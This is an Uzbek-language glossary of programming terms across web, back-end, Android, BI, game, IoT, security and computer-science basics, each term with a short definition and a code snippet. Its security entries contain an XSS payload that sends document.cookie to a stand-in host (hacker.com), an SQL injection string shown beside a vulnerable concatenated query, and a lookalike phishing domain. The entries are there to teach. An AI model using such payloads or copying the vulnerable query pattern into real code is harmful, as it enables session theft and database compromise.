Barcha yo'nalishlar (Web, Back-end, Android, BI, Game, IoT, Cyber, Foundation) bo'yicha eng muhim atamalar, sodda hayotiy o'xshatishlar va amaliy kod namunalari.
Ikki xil dasturiy ta’minotning o‘zaro ma’lumot almashishi va muloqot qilishi uchun standart qoidalar to‘plami.
// Brauzerdan API orqali ma'lumot olish
const res = await fetch('https://api.example.com/users');
const data = await res.json();HTML hujjatning brauzer xotirasida daraxt (tree) ko‘rinishida saqlanadigan va JavaScript orqali o‘zgartirish mumkin bo‘lgan nusxasi.
const title = document.querySelector('#header-title');
title.textContent = "Salom, Muhammad al-Xorazmiy vorislari!";Matn ko‘rinishidagi, inson va mashina uchun o‘qilishi oson bo‘lgan yengil ma’lumot almashish formati.
{
"nom": "Frontend Guru",
"hafta": 12,
"faol": true
}Bitta HTML sahifani yuklab, sahifalar o‘rtasida o‘tishda butun sahifani qayta yuklamasdan faqat kerakli qismlarini yangilaydigan veb-ilova (Vue, React, Svelte).
// Vue Router orqali sahifani qayta yuklamasdan o'tish
router.push('/foundation/datastruct');HTML kodlarini brauzerda emas, to‘g‘ridan-to‘g‘ri serverda tayyorlab (render qilib) brauzerga yuborish usuli (SEO va birinchi yuklanish tezligi uchun qulay).
// Nuxt / Next.js serverda HTML tayyorlaydi
export async function getServerSideProps() {
return { props: { data } };
}Brauzerning boshqa domen (port, protokol)dan kelayotgan resurslarni xavfsizlik maqsadida cheklash yoki ruxsat berish mexanizmi.
# FastAPI da CORS ga ruxsat berish
app.add_middleware(CORSMiddleware, allow_origins=["https://sayt.uz"])Foydalanuvchi tizimga kirganligini tasdiqlovchi, raqamli imzolangan ixcham va xavfsiz token (uch qism: Header.Payload.Signature).
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Veb-saytni xuddi mobil ilovadek telefonga o‘rnatish, offline ishlash va bildirishnomalar (Push) yuborish imkonini beruvchi texnologiya.
// manifest.json va Service Worker orqali offline keshMijoz (Client) va Server o‘rtasida uzluksiz, ikki tomonlama (full-duplex) real vaqt rejimida aloqa o‘rnatuvchi protokol.
const ws = new WebSocket('wss://chat.example.com');
ws.onmessage = (event) => console.log('Yangi xabar:', event.data);Sayt ekran o‘lchamiga qarab (smartfon, planshet, monitor) avtomatik ravishda moslashib chiroyli ko‘rinishi.
@media (max-width: 768px) {
.sidebar { display: none; }
.grid { grid-template-columns: 1fr; }
}Serverdan kelgan qotib turgan statik HTML kodiga brauzerdagi JavaScript hodisalarini (click, hover) ulab, uni tirik interaktiv holatga keltirish jarayoni.
// Vue / React avtomatik tarzda statik DOM ni o'ziga ulaydiYuzlab JS, CSS, rasm va kutubxona fayllarini ishlab chiqarish (production) uchun bitta yoki bir nechta ixcham va optimallashgan faylga yig‘ib beruvchi vosita.
npm run build # Vite butun loyihani dist/ papkaga jamlaydiHTTP metodlari (GET, POST, PUT, DELETE) asosida veb-xizmatlarni loyihalashning eng ommabop arxitektura uslubi.
GET /api/users # ro'yxatni olish
POST /api/users # yangi qo'shish
DELETE /api/users/42 # o'chirishMa’lumotlar ustida bajariladigan 4 ta asosiy amal: Yaratish (Create), O‘qish (Read), Yangilash (Update), O‘chirish (Delete).
SQL: INSERT, SELECT, UPDATE, DELETE
HTTP: POST, GET, PUT/PATCH, DELETESQL so‘rovlarini qo‘lda yozmasdan, dasturlash tilidagi klass va obyektlar orqali ma’lumotlar bazasi bilan ishlash imkonini beruvchi texnologiya (SQLAlchemy, Prisma, Hibernate).
# SQL o'rniga Python klassi
user = User.query.filter_by(name="Ali").first()
user.status = "faol"
db.session.commit()Dastur va uning ishlashi uchun zarur bo‘lgan barcha kutubxonalarni bitta ixcham konteynerga o‘rab, har qanday serverda bir xil xatosiz ishga tushiruvchi platforma.
FROM python:3.11-slim
WORKDIR /app
COPY . .
CMD ["uvicorn", "main:app", "--host", "0.0.0.0"]Dasturchi yangi kod kiritganda, uni avtomatik tarzda tekshirish (test qilish), yig‘ish (build) va serverga yuklash (deploy) konveyeri.
# GitHub Actions .github/workflows/deploy.yml
on: [push]
jobs:
test:
run: pytestSo‘rov (Request) asosiy ishlov beruvchi kontrollerga yetib borguncha uni tekshiruvchi (log yozish, token tekshirish, xavfsizlik) oraliq qatlam.
@app.middleware("http")
async def auth_check(request, call_next):
if not request.headers.get("Authorization"):
return Response(status_code=401)
return await call_next(request)Bitta ulkan dasturni (Monolit) bir-biridan mustaqil ishlaydigan kichik servislar (Foydalanuvchilar, To‘lovlar, Buyurtmalar)ga bo‘lib qurish usuli.
Auth Service (Port 8001) <-> Order Service (Port 8002) <-> Payment Service (Port 8003)Ma’lumotlarni tezkor xotirada (RAM) kalit-qiymat (Key-Value) ko‘rinishida saqlovchi juda tezkor kesh va xabarlar tizimi.
redis_client.set("user:101:balance", 500000, ex=60) # 60 soniyalik keshKelayotgan millionlab foydalanuvchilar so‘rovini bir nechta serverlar o‘rtasida teng taqsimlab, tizim qulab qolishining oldini oluvchi vosita (Nginx, HAProxy).
upstream my_servers {
server 10.0.0.1:8000;
server 10.0.0.2:8000;
}Biror voqea yuz berganda (masalan to‘lov o‘tganda) bir tizim boshqa tizimga avtomatik tarzda HTTP POST orqali xabar yuborishi.
@app.post("/webhook/payme")
async def handle_payment(data: PaymentSchema):
activate_user_subscription(data.user_id)Muayyan platforma (masalan, Android) uchun ilovalar yaratishga mo‘ljallangan tayyor vositalar, kutubxonalar va emulyatorlar to‘plami.
android {
compileSdk 34
defaultConfig {
minSdk 24
targetSdk 34
}
}Android operatsion tizimida o‘rnatiladigan tayyor ilova fayli (APK) va Google Play uchun optimallashgan rasmiy paket (AAB).
./gradlew assembleRelease # APK yaratish
./gradlew bundleRelease # AAB yaratishFoydalanuvchi ko‘radigan va muloqot qiladigan bitta mustaqil vizual ekran oynasi.
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
}
}Android uchun eski XML fayllarsiz, to‘g‘ridan-to‘g‘ri Kotlin kodida interfeyslarni qulay va tezkor chizish vositasi.
@Composable
fun Greeting(name: String) {
Text(text = "Salom, $name!", color = Color.Green)
}Asosiy ekran interfeysini (UI) qotirib qo‘ymasdan, orqa fonda og‘ir amallarni (tarmoq, baza) yengil va samarali bajarish usuli.
viewModelScope.launch(Dispatchers.IO) {
val data = apiService.fetchData()
withContext(Dispatchers.Main) { updateUi(data) }
}Telefonni yonga buraganda (ekran aylanganda) ma’lumotlar o‘chib ketmasligi uchun ularni xavfsiz saqlab turuvchi qatlam.
class UserViewModel : ViewModel() {
private val _users = MutableStateFlow<List<User>>(emptyList())
val users: StateFlow<List<User>> = _users
}Ilova 5 soniyadan ortiq vaqt davomida foydalanuvchi bosishiga javob bermay qotib qolganda Android tizimi chiqaradigan ogohlantirish.
// Xato: Asosiy oqimda (Main Thread) og'ir yuklama bajarmang!Kompyuter va Android qurilma o‘rtasida buyruqlar almashish, ilovalarni o‘rnatish va loglarni ko‘rish uchun xizmat qiluvchi konsol dasturi.
adb devices # ulangan telefonlarni ko'rish
adb install app.apk # ilovani o'rnatish
adb logcat # xatolik loglarini o'qishHar xil manbalardan ma’lumotlarni yig‘ish (Extract), tozalash va tahlilga moslash (Transform), so‘ng omborga yuklash (Load) jarayoni.
# Python Pandas orqali sodda ETL
df = pd.read_csv('sales.csv')
df['total'] = df['qty'] * df['price']
df.to_sql('sales_clean', con=db_engine)Kompaniyaning barcha tarixiy ma’lumotlari biznes tahlil va qarorlar qabul qilish uchun jamlanadigan maxsus markazlashtirilgan baza (BigQuery, Snowflake).
SELECT region, SUM(revenue) FROM `bigquery-public-data.sales` GROUP BY region;Loyiha yoki tashkilot o‘z maqsadiga qanchalik muvaffaqiyatli erishayotganini o‘lchaydigan asosiy ko‘rsatkich.
KPI = (Joriy foyda / Rejalashtirilgan maqsad) * 100%Sun’iy intellekt modeli o‘quv ma’lumotlarini shunchaki yodlab olib, yangi ko‘rilmagan ma’lumotlarda juda yomon natija ko‘rsatishi.
# Regularizatsiya (Dropout, L2) orqali oldi olinadi
model.add(Dropout(0.3))Katta til modeliga (LLM) javob berishdan oldin kompaniyaning maxsus hujjatlaridan qidirib topib, faktlarga asoslangan aniq javob berishini ta’minlash usuli.
1. User savoli -> Vektor qidiruv (Chroma/Pinecone) -> Topilgan matn + Savol -> LLMSun’iy intellektdan eng aniq, xatosiz va sifatli natija olish uchun buyruq va kontekstni to‘g‘ri tuzish san’ati.
"Sen tajribali Python mentorsan. Quyidagi kodni tahlil qil va kamchiliklarini bullet point shaklida ko'rsat:"1) Ekranda bir soniyada chiziladigan kadrlar soni (kamida 60 FPS silliq o‘yin uchun zarur). 2) Birinchi shaxs nomidan otishma o‘yin janri.
const deltaTime = 1.0 / targetFPS; // 60 FPS da har kadr ~16.6msO‘yin qahramoni yoki obyektiga o‘q tekkanini, zarba berilganini aniqlash uchun uning atrofiga chizilgan ko‘rinmas geometrik chegara.
if (player.hitbox.intersects(bullet.hitbox)) {
player.takeDamage(25);
}O‘yin davomida har bir soniyada o‘nlab marta takrorlanuvchi jarayon: 1. Kiritishni qabul qilish, 2. Fizika va holatni yangilash, 3. Ekranga chizish (Render).
function loop() {
processInput();
updatePhysics();
render();
requestAnimationFrame(loop);
}Videokartada (GPU) to‘g‘ridan-to‘g‘ri ishlovchi, yorug‘lik, soya, suv to‘lqini, olov va ranglarni hisoblovchi tezkor dastur.
// GLSL Fragment Shader
void main() {
gl_FragColor = vec4(1.0, 0.5, 0.0, 1.0); // Olovrang piksel
}3D modelni harakatlantirish (animatsiya qilish) uchun uning ichiga suyaklar (Bones) va bo‘g‘inlar tizimini joylashtirish.
Armature -> Bone Root -> Spine -> Arm_L / Arm_RMikrokontrollerdagi (Arduino, ESP32, Raspberry Pi) tashqi sensorlar, tugmalar va svetodiodlarni ulash mumkin bo‘lgan universal oyoqchalar (pinlar).
pinMode(13, OUTPUT);
digitalWrite(13, HIGH); // 13-pinga 3.3V/5V kuchlanish berishKuchlanishi va internet tezligi past bo‘lgan aqlli qurilmalar (IoT) uchun maxsus yaratilgan juda yengil xabarlar almashish protokoli (Publish / Subscribe).
client.publish("uy/xona1/harorat", "24.5");
client.subscribe("uy/xona1/#");O‘zida Wi-Fi va Bluetooth modullarini jamlagan, arzon va kuchli ikki yadroli IoT mikrokontrolleri.
#include <WiFi.h>
WiFi.begin("MeningWiFi", "Parol123");Raqamli signalni juda tez yoqib-o‘chirish orqali dvigatel tezligini yoki svetodiod yorug‘ligini silliq boshqarish usuli.
analogWrite(LED_PIN, 128); // 50% yorug'lik kuchiFoydalanuvchi kiritish maydoniga (login, parol) maxsus SQL buyruqlarini yozib, bazadagi yashirin ma’lumotlarni ruxsatsiz qo‘lga kiritish yoki o‘chirish zaifligi.
// Zaif kod:
query = "SELECT * FROM users WHERE user = '" + input + "'"
// Kiritilgan hujum: ' OR '1'='1Veb-sahifaga (masalan izohlar qismiga) zararli JavaScript kodini joylashtirib, boshqa foydalanuvchilarning cookie yoki tokenlarini o‘g‘irlash hujumi.
<script>fetch('https://hacker.com/steal?c=' + document.cookie)</script>Yuz minglab kompyuterlar (botnet) orqali bitta serverga bir vaqtda haddan ortiq ko‘p so‘rov yuborib, uning ish faoliyatini to‘xtatib qo‘yish.
# Himoya: Cloudflare, Rate Limiting, DDoS ShieldFoydalanuvchini aldab, mashhur saytlar (Telegram, Google, Bank) nusxasiga o‘xshash soxta sayt orqali login va parollarini o‘g‘irlash.
Haqiqiy: https://telegram.org
Qalbaki: https://te1egram-login-gift.xyzParollarni bazada ochiq matn ko‘rinishida emas, orqaga qaytarib bo‘lmaydigan matematik formula (Bcrypt, Argon2) va tasodifiy tuz (Salt) bilan shifrlab saqlash.
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())Tizimga kirishda faqat parol emas, balki ikkinchi xavfsizlik bosqichi (SMS kod, Google Authenticator)ni talab qilish.
1. Login/Parol to'g'ri -> 2. 6 xonali TOTP kod tekshiriladiMa’lumotlar hajmi (N) oshib borgan sari algoritm qancha vaqt (Time) yoki xotira (Space) talab qilishini baholovchi matematik belgi (O(1), O(log N), O(N), O(N²)).
O(1) - Eng tez (doimiy vaqt)
O(log N) - Binary Search
O(N) - Oddiy qidiruv
O(N^2) - Bubble SortEng oxirgi qo‘shilgan element eng birinchi bo‘lib olinadigan ma’lumotlar tuzilmasi (amallar: push va pop).
const stack = [];
stack.push(10); // qo'shish
const top = stack.pop(); // olish -> 10Birinchi bo‘lib kelgan element birinchi bo‘lib chiqadigan ma’lumotlar tuzilmasi (amallar: enqueue va dequeue).
const queue = [];
queue.push(10); // enqueue
const first = queue.shift(); // dequeue -> 10Xotirada yonma-yon joylashishi shart bo‘lmagan, har bir tugun (Node) o‘z qiymati va keyingi tugun manzilini (pointer) saqlaydigan ro‘yxat.
class Node {
constructor(val) {
this.val = val;
this.next = null;
}
}Funksiyaning o‘z-o‘zini chaqirishi. To‘xtash sharti (Base Case) bo‘lishi shart, aks holda xotira to‘lib Stack Overflow yuz beradi.
function faktorial(n) {
if (n <= 1) return 1; // to'xtash sharti
return n * faktorial(n - 1);
}Kalit (Key) orqali qiymatni (Value) bir zumda O(1) vaqtda topish imkonini beruvchi juda tezkor ma’lumotlar tuzilmasi.
const scores = new Map();
scores.set("Ali", 95);
console.log(scores.get("Ali")); // 95Dastur ishlashida xotirada ortiqcha foydalanilmayotgan obyektlarni aniqlab, xotirani avtomatik bo‘shatib beruvchi tizim (JS, Python, Java).
let obj = { name: "test" };
obj = null; // Obyekt xotiradan GC orqali o'chiriladi